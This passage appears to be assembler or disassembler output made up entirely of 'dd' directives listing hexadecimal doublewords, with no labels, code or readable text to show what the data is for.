6E6C90E0h, 0C49EA02Dh, 80E26B45h, 0F8B6B734h, 9BA85750h dd 2C5127E6h, 0FAE841E0h, 0E9E70CE6h, 28CEE08h, 0CBDC78CFh dd 16E557h, 8C78D779h, 2112373h, 7AC3CD03h, 2288EB4h, 3AE98BB0h dd 3052D8C5h, 65B6702h, 6A2A7207h, 82A8043Ch, 0CD357CC0h dd 0DF29C71Bh, 7118CF2Dh, 0FC1E6793h, 0B9C028B2h, 7D12BB02h dd 58492B8h, 9596CBC4h, 0BC948081h, 0CF8849B5h, 98757A8Eh dd 0A48C08C8h, 0E8320EEEh, 78DE30EFh, 0CFCBC311h, 74805C88h dd 0DA0D78E6h, 0FA913A72h, 97E90106h, 56012146h, 0E36A4C59h dd 9DD0327Fh, 75D752Dh, 799CCEFBh, 0C1423077h, 8200A6CFh dd 193A4C65h, 70F01AB1h, 0EECB0671h, 0A849D23Dh, 23296EE6h dd 602650EBh, 2FCBC702h, 0BF7C65E5h, 693AEA39h, 12BEB8A8h dd 105090B4h, 2D81F400h, 20415336h, 0B43BE800h, 947C4CEEh dd 442C2666h, 25174D41h, 0DEB67107h, 0F9B060A9h, 6C473000h dd 4EE309B5h, 0D0A849DBh, 88204000h, 6C0EB87h, 3ED9D100h dd 3AC77574h, 325900D8h, 53C1620h, 0CD396186h, 80A049B9h dd 0BB70F9ECh, 2B448C0Ch, 0F9F400FAh, 9DFC786Eh, 2A0A2432h dd 0E472A20Bh, 7DEECD03h, 0CAC806D7h, 189A321Bh, 99EFD309h dd 3008018Bh, 0BC4CCEE4h, 0E60328B8h, 1831F214h, 510BE21Bh dd 0CF4545A6h, 803B3EE8h, 0B120EEB7h, 25988884h, 0CF80A1B2h dd 2BF2B032h, 0E2A53530h, 0A8AA1682h, 58BC2091h, 1F07B03Bh dd 8ABF3DDCh, 0D95AC5E0h, 9FF625C2h, 0CFEB0420h, 0AB50CEDFh dd 32005ACCh, 1125379Dh, 0C20B945h, 0CCF3512h, 0B454D571h dd 0BA00EBD4h, 79ECC88Ah, 0D088BEh, 0F1569299h, 0B03893D7h dd 0FBD11E06h, 0E0913290h, 0AECF1D52h, 17948367h, 1A993556h dd 266438C5h, 8161CC6h, 9DE95804h, 0E3757130h, 877FB710h dd 7D8786C8h, 42D1785Bh, 22E051FDh, 55C10933h, 3C0445EBh dd 0D6E08897h, 0F36CB500h, 0A850176Bh, 0AD4E0070h, 609C0A6h dd 0F00A3B27h, 0F0D09D82h, 893C1760h, 88B6D4h, 0F5DBD91Dh dd 18712AE7h, 60322009h, 8CA20816h, 0F5C6FE85h, 0AA9314h dd 0CDD4C5E8h, 5497FECh, 83259ECBh, 46E8D14Ah, 0EED0117h dd 0C77FB053h, 0CAAACDB0h, 7CF91E10h, 0E07681FCh, 215EA282h dd 58A45882h, 0A14884B0h, 4496028Ch, 0AB3D9115h, 3A41029Ch dd 6A15C0A0h, 98305490h, 983B00FBh, 289B7476h, 0F5009CD1h dd 852DA968h, 2E36027h, 1B430169h, 80C142A0h, 6E7F104Ch dd 0B6343804h, 4449FD1Dh, 0C8C2882Eh, 89F658ACh, 1BCF6805h dd 0ACC84937h, 17C87FA4h, 313A6235h, 2D2F17D0h, 0C61A130Ch dd 459F2C01h, 5C723F89h, 0C79DEA10h, 0B761749Eh, 9B0C8767h dd 1D886288h, 40112D75h, 0AB2C2A38h, 46049125h, 3555F6CBh dd 0B449DCD0h, 68CC4CC2h, 0A610882Eh, 24639C4h, 0BA9DF927h dd 0BC47F4h, 75F9EBF7h, 230031D2h, 20178569h, 2106ACFh dd 59BF8A8Ch, 9CA04797h, 6F6646DEh, 0C43F0E00h, 57B6E706h dd 0C6D90159h, 2107573h, 0AC6C3046h, 8B703Dh, 9AF230CCh dd 185BA453h, 203963F3h, 2531262Bh, 0DA72B018h, 0F90BE30Ch dd 9C14BB71h, 0E7DB001Ch, 309678F9h, 83481E03h, 6762053Ch dd 44C41377h, 17C8A48Bh, 1C789C5h, 4E2E7A60h, 0E82954A3h dd 0B5CA17C6h, 79204B3Eh, 0B30230A1h, 6D9B60C5h, 5C2348h dd 282754F1h, 99EB6830h, 0F5420004h, 4D6FDF66h, 8911970Eh dd 0C9348028h, 1E5FA6h, 15EAFC6Dh, 1693B89Eh, 3BD05903h dd 0B8771839h, 1D1CCE5Bh, 18CD531Eh, 0F0DC219Ch, 51F51803h dd 0F0ACB1ABh, 63A66A4h, 2675B491h, 5D1E289Dh, 0A1C32EF0h dd 0B088BFBBh, 30639EEBh, 32499750h, 260C9625h, 0D80A1898h dd 1A630578h, 20C915EBh, 76182E48h, 4888A2EFh, 0DBB144h dd 8ADD18E5h, 0B2AADFBAh, 1A5BB003h, 0A622758Ch, 6F091E60h dd 9B30B1F5h, 0A25CC8ADh, 0FF4BA600h, 655BE61Bh, 39540025h dd 0D3DFDA74h, 71008CA0h, 7A1AA4F8h, 197276Dh, 53F1B1Fh dd 86319622h, 949C6458h, 0C9EC0389h, 2232A3D2h, 250030C6h dd 0A4B733F2h, 159E466Eh, 901C81E7h, 0D6DC3000h, 0F1E9A5CFh dd 0E1666D7Bh, 213308h, 10D6E45Bh, 7BC08497h, 4373F61Eh dd 0A82A9A46h, 0C2558E1h, 0DF189603h, 897BAAC3h, 0A0B70F01h dd 0D8F5C056h, 16967A30h, 0CFA122h, 0C8653455h, 31C00BC5h dd 0C62CE57Ch, 0CA2D0092h, 0B0AE513Bh, 0CBF8EDAAh, 0FCBB3A01h dd 0F14E1E12h, 4A9DF091h, 0A50958FCh, 8401F2A1h, 4057BDEEh dd 75B916B0h, 0D62E5403h, 0F3124161h, 92081859h, 6DAE401Dh dd 4CDC5400h, 3364029Eh, 62212ABh, 0CC00485Ch, 611827CFh dd 0B2624B74h, 18E2D620h, 0FC24007Bh, 13A1AC0Ah, 6C79BF6Fh dd 83ABEDF1h, 5BD2A310h, 0CD97D050h, 3C9B241Bh, 368A038h dd 9E531F7Dh, 0CFC0F67Fh, 5B40E120h, 246AF044h, 80201BF5h dd 0DEDBC7F6h, 0F907FD28h, 0FCAD21A0h, 7A21F546h, 7DB0158h dd 2BBD2C51h, 0EBB1CC8Ah, 3DF9111Dh, 352755Eh, 29762006h dd 334F0081h, 0B1833634h, 70004E30h, 538C09ADh, 3CDBB4EEh dd 0E400407Ah, 0BA58CF3Eh, 1D24CAA3h, 290E346Fh, 0A50411E2h dd 8194FE32h, 5171C9F4h, 22A764C8h, 558A04BCh, 99092146h dd 60F14C04h, 23C5D6E6h, 3611D9A5h, 0D6EE5D00h, 82B33CD3h dd 3DDBA902h, 0A383FA1Fh, 0B4550B4h, 0D00F9970h, 19F51F82h dd 57608CAEh, 0DC2A6CA4h, 0DD01BA76h, 3FC4E97Ch, 61B22276h dd 0A048EEC0h, 0A912B6DEh, 0C03F846h, 91D4CF1Dh, 518CFF1Fh dd 0FB70CB8Ch, 0AA454C90h, 226C1D2h, 14D7D024h, 90E1D45Fh dd 6713CF83h, 23FF9803h, 3C9EF7FAh, 5604A6B8h, 98E71E04h dd 54047264h, 4249D6F1h, 0AF205D32h, 0C05546Ah, 0FCA2AAE0h dd 8A0414A8h, 180B7A9Ch, 40372493h, 617ED4B1h, 77A070A7h dd 0EE39F854h, 0AF108612h, 0C99F7C08h, 8904B40Bh, 17CCE43h dd 118E7DDh dd 38459D94h, 0F301C46Fh, 82321B56h, 0D81C2087h, 14D0581Eh dd 0A41E0A0Ah, 558ED100h, 175C8E7h, 0A5CD1316h, 40CF9A22h dd 0CF1CBD4h, 0BC3AB0A8h, 0BFBE7B02h, 404F0831h, 301229B8h dd 23F89D28h, 65B8A05Dh, 300DF889h, 78C086A7h, 0CB7F6441h dd 14E136D7h, 591CA951h, 0F87017C5h, 60BA2D9Ch, 3E0E981Fh dd 50012178h, 120616CBh, 689CA8E4h, 94D9C43Dh, 238C101Eh dd 547101F2h, 5841D6EAh, 0A28893ECh, 0FC540069h, 850B2564h dd 1E98AE6Ch, 7041566Ah, 4E40FC24h, 0A53183h, 0D339BE5Fh dd 1E02CFFEh, 7F38E852h, 0D6F05408h, 4992C451h, 1B12009Ch dd 0C099C6E8h, 945DEE59h, 0E0003B97h, 0DBDE2C08h, 38B812D6h dd 0A6B3DA1Dh, 0BAC138E8h, 0ABF6C083h, 19715865h, 1BD78500h dd 0EAFD2C3h, 0DFEEB0E8h, 610A007Eh, 31346A1h, 797ACD04h dd 4C273BBh, 6E0933ECh, 9CF1A5D2h, 0E35E0004h, 8CE8C7D6h dd 9F022333h, 0D40A29AFh, 38500C3Bh, 0A49F43Dh, 0E85CF1D0h dd 4ACA258Fh, 1F00F885h, 0A231C130h, 0BE10C691h, 3C03C15Bh dd 0C244DBBAh, 0EB9FD993h, 481EE5C4h, 58900CE2h, 9C43F7B8h dd 7D736500h, 12B2E004h, 749A14BAh, 0DBC86E01h, 0E64CCFC5h dd 2E05A3E0h, 76CBDA0h, 0F068D38Eh, 4119D62Dh, 27E11B18h dd 58320579h, 0E285F83Ah, 3A503B64h, 0F313C32Ah, 0F2EC0227h dd 0A4850C46h, 0D544C360h, 1044784Ch, 0D4C0F637h, 0A528DFDBh dd 0EE22FC43h, 0DBCC5303h, 0FACA475Eh, 3BD4609Fh, 22A180A5h dd 0D0904EF2h, 54D61B28h, 5D565001h, 1DFBA6CAh, 0CB231029h dd 74183407h, 19CDE372h, 0C0D912A8h, 5F7A4D8h, 0B705813h dd 0EC8DA19Dh, 0D228916Eh, 7E1CBCA6h, 79B6EF1Bh, 11CF0C70h dd 1DA093D4h, 60061A17h, 719BC40h, 905EA232h, 0B8DAF214h dd 0D028C048h, 92D7A990h, 58A3F230h, 788429Dh, 191EE46Dh dd 98135696h, 6A2A180Fh, 344A3D8Eh, 0D814E8EDh, 0B5EC81Ch dd 0CA0494Dh, 9139B00Ah, 6CE05678h, 0F668CF0Ah, 2780B019h dd 0C30A2DE0h, 152B00DBh, 8FC8984Fh, 0A5140FFAh, 0BCD84505h dd 305843A2h, 1AA5F035h, 2E8740F6h, 93D1EC99h, 40C75B18h dd 0DFEACA04h, 73E2A05h, 0AAD6C401h, 586011C6h, 589F2453h dd 80E61158h, 0A5D0D6E5h, 31448CE1h, 0D6ED0710h, 0DA8D26h dd 0FE7D6F7Eh, 8BBA091Fh, 0B82F0213h, 401E9223h, 0BA4895C0h dd 16CF518Eh, 1780291h, 22A6F96Ch, 41386492h, 0E9AD60Ch dd 0F1F6C0F2h, 0F36B050h, 7F6516A2h, 2BC086Dh, 0BF6E4481h dd 44D27DD1h, 8388F0D4h, 2C606CE2h, 14944402h, 83D5FF01h dd 0E88F7521h, 0BD3D1Ch, 1E39446h, 0A12C9D23h, 0FA0C7058h dd 67C95068h, 322FE96Ah, 2840A9DAh, 54003DE7h, 347E620Eh dd 0DFACFA8Bh, 27924218h, 44400C52h, 16F015EEh, 84461D4Bh dd 0D80562h, 46B943EDh, 0AB34E897h, 181C5630h, 0C2DD77Eh dd 65BF9EBEh, 4A75979h, 44EB4C00h, 7826902h, 0AF459D42h dd 0C097C73Dh, 7041AA3Fh, 3F5323Ah, 5C9DE09Eh, 625AF8D9h dd 0AA5B0091h, 1E2B039h, 4109774Ch, 9D7D1E0Dh, 58AA0844h dd 0B1E0C860h, 0E55B0ED2h, 2480D5AFh, 0E89E4419h, 0DF003C93h dd 91A5C6D6h, 508C96F2h, 5F90E75Ah, 31BD2301h, 0A1D287C6h dd 209E0030h, 4D025C11h, 0E1CA9B56h, 16D08063h, 2ED36FDh dd 0C4DDE0E6h, 0C8E46D4Dh, 5AC8220h, 0E7CD2AA1h, 4768C026h dd 9609E575h, 0A00B6ADAh, 0C8A38F34h, 20C5536Bh, 60E8B684h dd 96695943h, 6B83691Ch, 0B2D428E9h, 0D35DC01Ch, 0EC9FADBh dd 0FD6A234Eh, 2A4469A2h, 0D20E1459h, 2060A008h, 3347C8Ah dd 2170D14Ch, 98C95502h, 0B3DA702Fh, 85D2A309h, 29208093h dd 9294C3FAh, 0FE5D0E70h, 10B96AE2h, 9C29C5h, 7DF03155h dd 0EC8B92h, 0C8D3639Ah, 5C8D0387h, 51CA9E12h, 498C7070h dd 558B093Eh, 60011B0Ah, 0E87E673Dh, 0F205F5CCh, 1CD4E021h dd 0E11934C3h, 382C56E4h, 3B8C28BCh, 0EA929A61h, 0B9E406B2h dd 8C0FD88Ah, 2A22A2FCh, 4C28BCB4h, 73B86B56h, 2810DB71h dd 0EFC8FCC5h, 0E0C9578Fh, 0C0DE7276h, 789802BFh, 2670545h dd 0D85B1853h, 18F22Ah, 778D0FBBh, 0EB292859h, 17031125h dd 815D1108h, 0AE89B5CDh, 751D802Ch, 5E688B93h, 85FC6A00h dd 8CE03B60h, 2B825512h, 47F78C0h, 695C65BFh, 0F9B09075h dd 0EF4913Dh, 1860941Dh, 0E6E36E02h, 0BE78E1C6h, 0A8006C29h dd 0C2C1185h, 8F00F658h, 25F23610h, 2E6C1BFh, 0EE3DD133h dd 0E092DB1Ah, 0DFC390C0h, 1DE0C1C5h, 6579A501h, 0B85528DDh dd 0E33AA883h, 4E1DD0AAh, 76C709F1h, 0CC452DE5h, 0EE677AE4h dd 0A7D84F00h, 0F60086D0h, 0D2A53548h, 9227C3C1h, 0DD80A004h dd 0CB10C7B6h, 0C0E5A948h, 336035C4h, 4D0388CFh, 255029A8h dd 0F4A91362h, 1100AFFEh, 0E83922A5h, 6D79C923h, 0DBC64030h dd 9528E516h, 1E1F838h, 610DB9Eh, 243A26F2h, 123405D0h dd 74C0A915h, 0B6386EBh, 90D7141Ah, 71418406h, 90190739h dd 2011CF9h, 0DE92E085h, 7D182012h, 52E21F13h, 0BFCF3880h dd 0AC0E5C94h, 1D5F6210h, 0A998E1D8h, 17505B20h, 146498Bh dd 0F59C0E29h, 54C98011h, 96C2A273h, 402402F3h, 1E5FD2ACh dd 0F499EC41h, 0C6268718h, 469E249Eh, 82D8201h, 0E42276E2h dd 0D3E3C000h, 0DE4B7509h, 0F60C88B3h, 2536917h, 3A46CEB0h dd 94CC5758h, 19D0F917h, 0F21FBC20h, 0D98AF99Ah, 8AA8A717h dd 80D05FC9h, 0A95AB145h, 480275D1h, 0F713FB30h, 4FB8C035h dd 0A47F508Bh, 28902A4Ah, 0F6046DCh, 0C8E4DBD1h, 49A3C4ADh dd 0F61C8056h, 13D28116h, 270A1B7Bh, 0EFF337D0h, 3641E160h dd 0BA59A9B6h, 8A137FE8h, 5C820B5Eh, 0B670E13Fh, 841050DBh dd 68028CEDh, 59D62F54h, 108C1941h, 0B546099h, 2C81BFE7h dd 9B29608Eh, 26E3BC69h, 0D6E00174h, 0F289A5D3h, 67A08C2Ch dd 7100D6E8h, 0E3319877h, 33925EC5h, 0C89834CAh, 71D8BCB0h dd 1034074Ch, 8118339Eh, 0D4E86119h, 0D1259009h, 0C96C101Ch dd 0A4A9C788h, 8DC563E5h, 0EC958A00h, 0D8571B7h, 0A7E2005Ch dd 0EAE870C8h, 1512970Fh, 38920E04h, 50DAB8h, 8885FEF2h dd 0A4B5DE5Fh, 1A0A6906h, 32198C7h, 6FD92C0Eh, 0D2F8355Eh dd 300BD3F8h, 261EDB79h, 799AC08h, 0B44EE432h, 236FA003h dd 3A00D3BFh, 465FDACEh, 30D9E9F4h, 0B65995C5h, 60023A8h dd 6E0127D5h, 5EC738DCh, 0F6444975h, 0D0CF9011h, 0D1F4BCCEh dd 290550B3h, 8CA012DAh, 0A954B3A1h, 59F57038h, 5E430186h dd 637D72A2h, 0E995C43Dh, 5292D609h, 300EFBh, 3BEEED67h dd 133F14D5h, 87007CF6h, 0D590683h, 617D85B8h, 49952301h dd 817B432Ah, 6430C1CDh, 0F429D16h, 111A9441h, 4FFC7C52h dd 2D911257h, 8754848Ah, 143299E0h, 367970D9h, 540EB518h dd 0C395B28Fh, 94DA1EDCh, 373858D0h, 9C5E006Ah, 9ED608Ch dd 910E2841h, 0FF9EDACFh, 0B8A30026h, 140A1F02h, 6E461CACh dd 0DA26B458h, 700C2C4Eh, 0DB3ECC5Ch, 0D8A69EB3h, 34762DC0h dd 926F1F50h, 0A2D60AD0h, 4BBC11BEh, 60E31804h, 24355476h dd 70E069D6h, 541F6E9Bh, 76065344h, 3963C9h, 9E8DEA8Ch dd 56CFE006h, 947B3900h, 0F5C42810h, 662B0595h, 1D6FDE52h dd 6B925FD8h, 60DE7870h, 7362BA00h, 554E1FD2h, 97F70292h dd 0E6AAE018h, 0F430F4EAh, 24BCB89Ch, 0A66E1F80h, 776B6040h dd 0A5CA124Bh, 39200069h dd 0BEAECBD9h, 360044B9h, 64885EF3h, 41A26150h, 0DF9D2BC4h dd 0CCE06A04h, 0AC82528Bh, 44AC628Ch, 0B14E00A8h, 0DA510A6Ah dd 0A400D4DFh, 0B7C07F7Eh, 94D15EAh, 9B681795h, 2050CC18h dd 0C9B48754h, 58A68CA0h, 0F44F80h, 408CEF12h, 28187A7Ch dd 0DC0D0C03h, 0EBF1F74Dh, 0A0E3BB64h, 7AE568D3h, 0AAC226CAh dd 5E5C2EACh, 0C70F3346h, 4CC1AC39h, 41FE7952h, 20F5B6ACh dd 9A4E121Ch, 22254420h, 58695DA6h, 80C8DA93h, 0F5C790DCh dd 22F72C2Dh, 3AA6080Ch, 465CD04Ah, 0FE3F1734h, 0B6BEEF00h dd 2398A7Fh, 51E1539Fh, 20EC4DE2h, 602F675Eh, 330BB223h dd 32E8020Bh, 4E380095h, 0E20909D9h, 0EE29D1h, 6DB6E4FCh dd 0D0B0B94Bh, 8659F4h, 0FAF1F6Ch, 0C5D4F3ABh, 0D7819660h dd 3E9F6B85h, 0AD8038C6h, 66C3D502h, 0A2EAAE0Ch, 0F0183224h dd 2C2A8284h, 0A4F98081h, 606C9EF1h, 0F0C03858h, 0F60CDB5h dd 3621FB05h, 0CE01C4BBh, 4AFF980Ah, 0D26C482Bh, 731835C1h dd 9C62ACDFh, 18ECE020h, 60F900BDh, 22856976h, 0CA120DB2h dd 1464C435h, 0C4A0A8A6h, 0FC1E576Fh, 2481A6C3h, 1333740Ah dd 89B62C34h, 45AFF48Bh, 0FC30084Bh, 1B20D8h, 70369ECCh dd 6225F438h, 0C792BB13h, 0EA8BD440h, 0B143D5E5h, 18EE7974h dd 0D4801EAh, 64E3AE15h, 88A4C6A3h, 0E0ADF3h, 758613Fh dd 182BF9Ch, 0F4600112h, 66D32E02h, 7D241308h, 0F9C8109Ah dd 38459DC0h, 9F6E6DEh, 7535EE34h, 0D609A052h, 5A04C29Ah dd 13C8465Ch, 4C1F182Fh, 0A911F06Bh, 18E6D200h, 4D068D85h dd 211F0507h, 92F2086Eh, 10564Eh, 66FFECE3h, 3307970Eh dd 869AD5ADh, 0EB16C44Ah, 0A988CCCBh, 6D9D07C0h, 0F8C9006Ch dd 8C650CECh, 1D61222Dh, 0F58692D1h, 519A7700h, 465E9C96h dd 97F83F29h, 8A18C1C6h, 8023E660h, 50139063h, 4C819F92h dd 3066B03Eh, 6037A425h, 70C52100h, 4AB2D5C6h, 0F5C4818Eh dd 0D2E45012h, 0C0079E04h, 2F16E738h, 0FA9D6432h, 0DEEB71B4h dd 4E2C6210h, 8C160011h, 11F6484Bh, 89D06920h, 567005h dd 59AFBA7Ch, 0E6263EE2h, 1F4E1E1Eh, 62603026h, 0C2DE9Dh dd 652EA36h, 61D79C0Fh, 0D55DCBE0h, 25811808h, 0FA2F79h dd 301FC3Ch, 0B0C5C46Eh, 0E31449C0h, 79198DAh, 0B4C82652h dd 3CAF8F13h, 14EE9420h, 45131A06h, 34CB2DE5h, 9BC07AC8h dd 0E8FDE08h, 3A95EBF5h, 4FC6FFA3h, 0F14A8100h, 8E5A964Bh dd 4E6324DAh, 3C801FFh, 23C136CBh, 0A347CB8h, 3BC0D118h dd 2553B460h, 0E4A491CFh, 0ACB0AD03h, 996D05C3h, 0CC5BAB5Eh dd 48CE4B8h, 0D6345473h, 20916271h, 8E546B98h, 4CCB4901h dd 40DDD7C7h, 0EEA29C73h, 334DF833h, 297E0472h, 0E09CAEE2h dd 0A0421C44h, 0F7A6222h, 0E9436600h, 2AF60E83h, 9D8C098Ah dd 0FC6729A6h, 95609264h, 3273040Ah, 0A1E8009Dh, 0C038FAF1h dd 722AA388h, 789B27C3h, 4149B0D3h, 0B8C30205h, 0F9728ADFh dd 0CC09A841h, 665992D7h, 60B4588Ch, 0DBD916F1h, 901F3947h dd 0E0999189h, 928695AEh, 0C4B13122h, 4E4F0880h, 7D20977h dd 0E075195Eh, 0A03BA7F6h, 0EEFD504h, 0B420705Fh, 175B0Bh dd 10C205E8h, 0B4A8F966h, 688D4430h, 1C4B2177h, 811AEC62h dd 63AE43E3h, 34299Bh, 0C29873C1h, 5EFA2999h, 0D4F40417h dd 36CA35Dh, 293FBB3Ah, 0DF8C8846h, 0C07950h, 214423F9h dd 402DFCBDh, 6515A127h, 609CE450h, 7B0E067h, 8F4ECAB1h dd 2117C68Eh, 75309B7Ah, 71BB31CFh, 699907A2h, 4164DD7Fh dd 0C4805B68h, 4894D00Fh, 63913A40h, 5F02EEDFh, 42C74A5h dd 0B4F6FEBCh, 0EE163E50h, 5804998Bh, 8C02FA16h, 444BAE55h dd 239DA3E9h, 58AAA118h, 0A400E80Ch, 0F6163DBFh, 0B83C9D8Fh dd 4CD9F6A8h, 0AC22881Eh, 32000779h, 0E9F50566h, 562B2EDh dd 0B875E1F6h, 0B4F38650h, 1D902D69h, 82901164h, 0C0C29F80h dd 997733Eh, 0AEDA1F70h, 0C5309470h, 1E4E891Ch, 8139CA5Fh dd 24F443BCh, 0BA1CC190h, 0AB2F550Eh, 0C82E810Eh, 77D9363Ch dd 8CD5B041h, 2FB4122Fh, 288C2340h, 75ABE0D8h, 41C8201Fh dd 8A012F90h, 47E9F419h, 53E060C7h, 4434CF0Ah, 88D9A009h dd 1B18A879h, 0E1FAE5F9h, 0E8A0FA1Dh, 0FED5E038h, 1F322109h dd 91C89D98h, 8DD58390h, 30F68834h, 8E700595h, 0D4969168h dd 0EAF8C184h, 0B00A0007h, 3B3EF323h, 0A623ECh, 968A9F47h dd 0C84BE09Eh, 7E86EC40h, 7783E8h, 6CDEEBD5h, 1C057A40h dd 18CBF400h, 0E6450BBEh, 41313AD6h, 0E36DF900h, 4CD10E35h dd 9E3C5090h, 0A4907716h, 0A70D5F02h, 7681F2A1h, 9E118044h dd 8EA2065h, 6ED24E00h, 712C8497h, 8074B4F6h, 0A324C469h dd 0BCF470BBh, 0FA208607h, 0EE11F91h, 0C03B5616h, 1478C703h dd 0EDBCF000h, 8F742FA5h, 109D60C8h, 537016FFh, 807DCB3Ch dd 0BF3A4ADAh, 0E8E2E950h, 8BE0D7h, 65A396DEh, 6D4D4BE4h dd 0F608FC66h, 0E2307F21h, 18637036h, 19E7F7A4h, 4C393AF0h dd 0D06B8032h, 282E5F04h, 3BA70083h, 0C1E76548h, 0ED067746h dd 0EC4CFF9Ah, 35600038h, 28D64380h, 0CD33EB9Bh, 590830h dd 803D8D21h, 0BC44E61Eh, 0F48068DFh, 0CD7AD96Bh, 0E9E00A6h dd 0A0B7FF5Ah, 2D0A2BC8h, 3056C4F0h, 0CD5FD307h, 3359D546h dd 13B1F0E8h, 0F8E69AE0h, 5A72E103h, 234F990Eh, 34018FA0h dd 30D64E80h, 40886418h, 0C580003Ch, 0FC19AA0Dh, 911D5AA5h dd 0BBC03DC6h, 0C8E6590Ah, 0A087FA88h, 3079D5C0h, 7418052Bh dd 0F940F36Fh, 0A491FC76h, 802E043Ch, 62E0D644h, 368A2065h dd 0D8000580h, 7001F24Fh, 0A8842E0h, 0E1F44EC8h, 804691ECh dd 65A596D8h, 0C0E08C94h, 5902280h, 4745AF96h, 16B400D6h dd 0BFF2C1B6h, 122E8B03h, 231EB293h, 823A1C58h, 465A796h dd 80F8194Ch, 969A2C21h, 7EC45625h, 330B1C43h, 3B65423Eh dd 0C403798h, 36194E81h, 0BF78D567h, 9AC4A3EDh, 917A0354h dd 908A6CBBh, 404E03A1h, 0A39B2D80h, 98846000h, 0DE44137Dh dd 0D38000FCh, 0D949A5D1h, 3C91A64Ah, 0F6B1A87h, 6C76ABF1h dd 0DB8CF8h, 0B18D8FCCh, 9E4D5781h, 7AF7C61Dh, 6CEA3400h dd 0F4C903Ah, 0E1A05A0Dh, 413C0C00h, 4931BBB2h, 4C446056h dd 0D5FC9450h, 0F2AB0106h, 0E6797AA0h, 8C6BCC57h, 0A8937B00h dd 54A60BD2h, 0CBE215D7h, 44298C9Eh, 79D300B4h, 1B1DC7CEh dd 83DE7D0Ah, 4462E487h, 8F7C48C2h, 6FBC1CB1h, 65018A77h dd 70D2020Ch, 2440FC1Bh, 10004FA6h, 7B353863h, 0F271D5D9h dd 445748D3h, 99F77008h, 3080A1Fh, 0C0901404h, 43D3723h dd 825499A3h, 68001A38h, 0DE6E2AA8h, 4D1F618h, 0FFB00D56h dd 1C509051h, 0DC0093A9h, 0BA708BF4h, 1C7D2F12h, 0FE81D57Bh dd 5E2AF05Fh, 0BCE1BB13h, 0B6C44400h, 0D9CBBAh, 2B2CEBCAh dd 0E6566F7h, 83A3213Bh, 0B4874AD1h, 0EFC004F6h, 1086320h dd 0EA4F58B2h, 71D11883h, 0F000327Ah, 0CBC4C674h, 1F5B3C7Eh dd 87A4816Dh, 0B354B608h, 7815BF4Dh, 38A4C145h, 940782ACh dd 6C7E1574h, 0D44A0A5Ch, 0BC983319h, 4B42B781h, 8054F488h dd 488CF7F1h, 4298573h, 96F2F85Dh, 90368095h, 571D10E1h dd 0A08AC027h, 0EFCE60EFh, 0C544A6D7h, 4F9F0489h, 0D3D2340Ch dd 952CA68h, 47FF0038h, 0F411070Ch, 3B1E006Ch, 0C15B82A5h dd 5135B9ECh, 40AD8AAh, 215EEC80h, 0D0BA4DDBh, 0AF41A190h dd 16A458h, 0F33EE9C7h dd 0AD66C4A4h, 0FE1D8F01h, 97257655h, 7C39F1B8h, 99D85BB2h dd 80C3830h, 2A73D239h, 16219866h, 0C5106h, 488BF2Dh, 650C736Dh dd 0C1DE723Dh, 1C8D0067h, 7E0C0B85h, 0F0535120h, 65E101A4h dd 60CEEDA4h, 0D4A4D7F1h, 808C11ACh, 0D651802Fh, 58448CD8h dd 80370097h, 0D12E7114h, 0E0156E7Eh, 9802CFEh, 2AE3F649h dd 5C00A1E0h, 23965BB0h, 0EA2E2606h, 74A82690h, 5600EA46h dd 26591729h, 4C98E585h, 0D47B512Ch, 44B02508h, 96DD6049h dd 8C6523A4h, 2900F811h, 156A9695h, 0AC004459h, 9C071EBBh dd 69D83685h, 1882D063h, 1D113562h, 962C9918h, 18263990h dd 0C2702D71h, 2E3C5C1Fh, 9BF00279h, 0B6ADB9E6h, 0B0CB4048h dd 0E2688FE7h, 0F559DBD1h, 1336A83h, 0E5265E18h, 4466881Eh dd 0CFB5C448h, 0BFEA8460h, 89D36630h, 0C30FF6E0h, 60C67305h dd 15D14F56h, 1D3300B5h, 20618FE6h, 0D724EE7Bh, 40CA509Eh dd 1BD22A04h, 500BC8Eh, 66A10C4Ah, 0CC4C1287h, 986F10A8h dd 760EFF0Ah, 60EC24CAh, 0A6DFE2A2h, 329C3D01h, 0CAE185A0h dd 0CD004072h, 3596C039h, 16045E8Fh, 3488A773h, 138070C8h dd 3B583C3Bh, 23C34110h, 88940010h, 0AF737FD2h, 5871FA7Ah dd 51644D93h, 0C45609Ah, 7BD2102Eh, 0C953CC2Ah, 0C1E0001h dd 0B8C5BD29h, 1901FFC4h, 58C74756h, 0B08EFB13h, 2124626Ah dd 0B89CC15Fh, 4AE20232h, 413061DCh, 0A308A218h, 0C4725493h dd 9A204004h, 0ABD5A3h, 8F5563FDh, 102369D4h, 0C401F490h dd 0CB4EFF6Ah, 68843C38h, 0A1D5D354h, 6C2C6068h, 0F8E13E43h dd 0F2C0C4Dh, 469954Bh, 0D9219D40h, 7494F699h, 260E9480h dd 0C070Fh, 344806F7h, 2C9FDB64h, 9E8FFD3Ah, 68641846h dd 7C2DE087h, 0B005983Ch, 0A7191050h, 70CE1EDFh, 0C5F4E3FBh dd 52610293h, 143CFE1Ch, 48EBB448h, 0E87A9600h, 0DB4E0E85h dd 554B0AFBh, 9ED06733h, 0A3CEC6BFh, 0D2091151h, 2EFC2D43h dd 6FD90010h, 0AAB3786h, 0CD4BF109h, 0F67484F0h, 0E23CA273h dd 1F553063h, 0B8135026h, 0FE699C03h, 5B210056h, 4FA7DFCDh dd 0C002965Ah, 6436DB0Bh, 51888059h, 7BA13C3h, 0CEC2C8FBh dd 2184558h, 2869D180h, 0F7E6CD80h, 863BB3F0h, 5DC91317h dd 84FB2843h, 0BAE9F1ABh, 3EA410E0h, 25059A45h, 0CD2FDF6h dd 0CE4066D4h, 0AC08882Ah, 455F3300h, 1C534AF4h, 9027625Eh dd 6C006178h, 0A702DEFh, 0DF4550EBh, 67289B8h, 0B7124427h dd 0C01D322h, 63345AA8h, 98FD3101h, 8CAD7FF8h, 0A85064F4h dd 0A8DD72BCh, 8B40C8h, 1DFB37E2h, 0F7C6B86h, 0C880DA2Ch dd 99803C11h, 8A54D8A3h, 0E309043h, 0A3911781h, 0DE1C5800h dd 99E2D434h, 72DF0224h, 11B628A4h, 608C4A09h, 16784180h dd 3A0E5EDFh, 0F52344h, 0C0A9C78Ah, 6B1506EEh, 0EC53F3h dd 0D67D81B0h, 72BE9F87h, 40D52E8Ah, 709D10BCh, 5552E000h dd 0D94D41C3h, 0EBEC004Ah, 0C8339E04h, 1560C697h, 183B64A9h dd 590912Eh, 80D42B35h, 994D1518h, 5033630Ch, 5D72057h dd 468FFC7Ch, 4A2038B9h, 2F4A3046h, 0F52350h, 46662680h dd 909BFEA3h, 0C8E478h, 0DD3578AAh, 6B14F5EAh, 